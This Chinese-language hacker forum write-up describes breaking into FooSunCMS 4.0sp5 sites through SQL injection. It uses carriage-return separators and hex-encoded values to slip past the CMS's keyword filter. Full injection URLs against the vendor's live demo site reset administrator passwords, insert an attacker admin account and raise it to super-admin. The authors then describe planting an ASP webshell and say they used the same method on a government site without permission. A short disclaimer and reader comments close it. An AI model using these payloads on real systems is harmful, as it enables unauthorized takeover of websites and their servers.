风讯CMS4.0sp5 商业版的致命伤

文章作者:oldjun&flyh4t[ 脚本安全小组]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:文章已经发表在《黑客手册》后由作者友情提交到邪恶八进制信息安全团队技术论坛,转载请注明出处

FooSunCMS(风讯网站管理系统)是由四川风讯科技发展有限公司自主编写的一套ASP+ACCESS/MSSQL的内容管理系统程序,FoosunCMS已形成内容管理系统整站解决方案。虽然其功能强大,但是在安全性上去是非常脆弱。
记得以前风讯刚出4.0时,过滤的关键字如下:
f_NoSqlHack_AllStr="'|;|and |chr(|exec |insert |select |delete from|update |mid(|master."
先笑笑这个风讯的过滤函数,名字起的很不错,叫NoSqlHack,但是真的是这样吗?这段sql注入的屏蔽词中,好多关键词都是紧接着空格的,可以用 update%09、update/**/代替update+空格啊。虽然过滤了分号,但是大家有条件的可以测试一下,mssql多句执行不一定是要分号来分割的,你是否觉得有寒意?过滤函数被突破的话,是否意味每个点都是注射点…
最近风讯4.0sp5问世了,我们再来看看其是否有改进。看过改进后的过滤函数
————————————————————————
Function NoSqlHack(FS_inputStr)
Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
Str_InputStr=FS_inputStr
f_NoSqlHack_AllStr="*|and |exec |or |insert |select |delete |update |count |master |truncate |declare |and |exec |insert |select |delete |update |count |master |truncate |declare |char(|mid(|chr(|and[|exec[|insert[|select[|delete[|update[|count[|master[|truncate[|declare[|set[|set |set |where[|where |where |xp_cmdshell|xp_cmdshell |xp_cmdshell "
f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")

…… 这里是去掉的若干没有用的代码

NoSqlHack = Replace(Str_InputStr,"'","''")
End FunctionEnd Function
—————————————————————————
比老版本过滤的要多一些了,貌似很多关键词还有关键词+空格的都过滤了。/**/也不行了,因为*号也被过滤了,tab也被过滤了,所以%09也无法使用。但是众所周知,mssql对hacker是非常友好的,我们只要找到其他分割符号,这个函数还是很容易被突破的。
思考了一段时间,百度查查最新的注入方法,看看电脑里一系列注入资料,我们俩绞尽脑汁搞了好久,但都没能找到一个明确的好方法;我们甚至尝试过“\n”分割,不过sql下行不通。后来我想,Mssql疏松的特性使得我们有了可趁之机,因此空格,tab都可以被它识别,所以以前的版本我们能利用tab来入侵,而且有时把空格去掉,mssql都能识别,想到这里,大家会不会跟我一样会出现一个灵感:我们可以不可以尝试回车(这是本文的精彩之处,也是本次入侵最关键的地方),于是我用URLEncode把回车编码了一下是:%0D%0A%0D%0A,
下面我们来测试官方网站吧,随便注册个用户,进入用户管理后台,写了个日志,地址是:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2
测试个and 1=1,ok的,于是继续测试:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=%27%27–
返回正常,语句成功执行了。

很不错,连忙去后台登录,心想用户名应该不会变化的,直接用admin,可是密码为空的时候,后台提交的时候提示“请输入您的密码!”,很明显那是js的判断,于是把登录页面另存为本地页面,把js去掉,再提交以后又跳出来一个alert:“请填写完整”,打开后台checklogin.asp页面,发现有这句:
if p_UserName = "" or p_TempUserPass = "" then
Response.Write("<script>alert(""错误:\n请填写完整"");location.href=""Login.asp"";</script>")
Response.End
end if
郁闷,逼我给它设置密码啊,于是执行了下一句:http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word='83aa400af464c76d'–
其中:83aa400af464c76d是数字12345678的十六位MD5,执行下,出错了:

寒,原来我忘记了,这个函数还有模有样的把单引号替换掉了,这个就很容易饶过了:12345678先用用md5加密,然后再编成十六进制是38336161343030616634363463373664,于是我执行了下:http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=0x38336161343030616634363463373664–
返回正常,兴奋,于是再进后台,输入用户名密码,结果提示:请检查用户名和密码的正确性;郁闷了,难道官方的用户名不是admin,算了用户名也修改掉算了,把“oldjun”十六进制转换了下发过来:0x6F6C646A756E,于是我执行了下用户名的设置:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Name=0x6F6C646A756E–
返回正常了,证明一样的执行成功了,再登录后台,用户名:oldjun;密码:12345678,接下来出现了让我们大失所望的结果,依旧跳出个alert提示:请检查用户名和密码的正确性。

到这个地方,我开始怀疑是官方站做了手脚了。但我不甘心,从他们的客户案例里找到一个政府站,按照上面的方法试了下,结果居然一样,执行成功了就是登录不进去!那就不是数据库的问题了,很可能是编码的问题。于是我在本地sqlserver里建个表执行了下插入一个用户密码的数据,执行成功了,看看出来的东西,搞笑了,居然是乱码:

怪不得执行成功了还是错误,编码出现问题了。肯定是十六进制编码与字段类型不符合,问了下朋友终于搞清楚了:varchar是非 Unicode 的字符数据;nvarchar是Unicode 数据,所以还要重新编码成长的十六进制:
用户名“oldjun”编码以后是:0x6F006C0064006A0075006E00
密码“12345678”编码以后是:0x3800330061006100340030003000610066003400360034006300370036006400
好了,本地插入了下,ok,数据库出来的用户名密码均是我们预期中的数据,显示正常无乱码!于是提交下列语句到风讯:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;insert%0D%0A%0D%0Ainto%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400)–
再一次的返回正常预示着风讯这个demo站已经是我的了。

再次进后台已经是没有阻拦了,虽然后台没CSS,看的我头大,但还是很欣喜啊。准备试试拿webshell,不过好像选项很少啊,看看状态条:一般管理员,我寒了,原来还有一般管理员与超级管理员之分,我又看了下风讯的数据结构,原来超级管理员是Admin_Is_Super为1的管理员。这么简单,连编码都用不着了,直接写个执行代码,由于前几次我对sql语句不放心,不敢执行太多的sql语句,所以我没加条件,也就是set用户名与密码的时候都是集体 set,一个语句change了所有的用户名或者密码,这回我加了个条件:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Is_Super=1%20where%0D%0A%0D%0AAdmin_Name=0x6F006C0064006A0075006E00–
好了,所有叫oldjun的管理员都是超级管理员了。用过FooSun的朋友都知道,它管理后台功能非常强大。用bct某人的话说,它强到是一台电脑,一台可以使得恶意用户与服务器相互沟通的电脑。下面的工作就是利用这个强大的后台得到webshell了,有两个简单的方法。第一是利用设置上传文件类型的 Webshell;第二就是通过修改配置文件设置的页面,修改const.asp的,可以直接写入一个asp木马

本地执行下,传个大马上去,终于拿到shell了:

剩下的事情我们没做,C盘有浏览的权限,但我们没继续尝试提权。目前所有风讯sp5以及sp5以下的sql版本已经全部处于危险之中,大家可以直接过滤危险的参数,不要带空格或者其他,官方的过滤纯属画蛇添足。我们将尽快联系风讯官方,让其尽早推出更新补丁!本次纯属测试,以及提供一个注入入侵的思路,请大家看到此文章以后不要尝试黑别人的站。

最后,感谢在测试过程中flyh4t、jnc提供的帮助,感谢东南大学网安联盟(S.U.S)的诸位兄弟对我的帮助和支持,感谢婧与其他我所有的好朋友一直以来对我的关心和理解。另外欢迎大家多踩踩我的小站:www.oldjun.com

相关日志

楼被抢了 3 层了... 抢座Rss 2.0或者 Trackback

  • xxxx

    xxxx

  • TTFCT

    风讯的程序员真可爱,我原来就是用[]来突破的,想不到他来个 select[ 类似的过滤,哈哈,可爱….

  • 低调的乱

    :oops: 貌似早就有很多人有吧

发表评论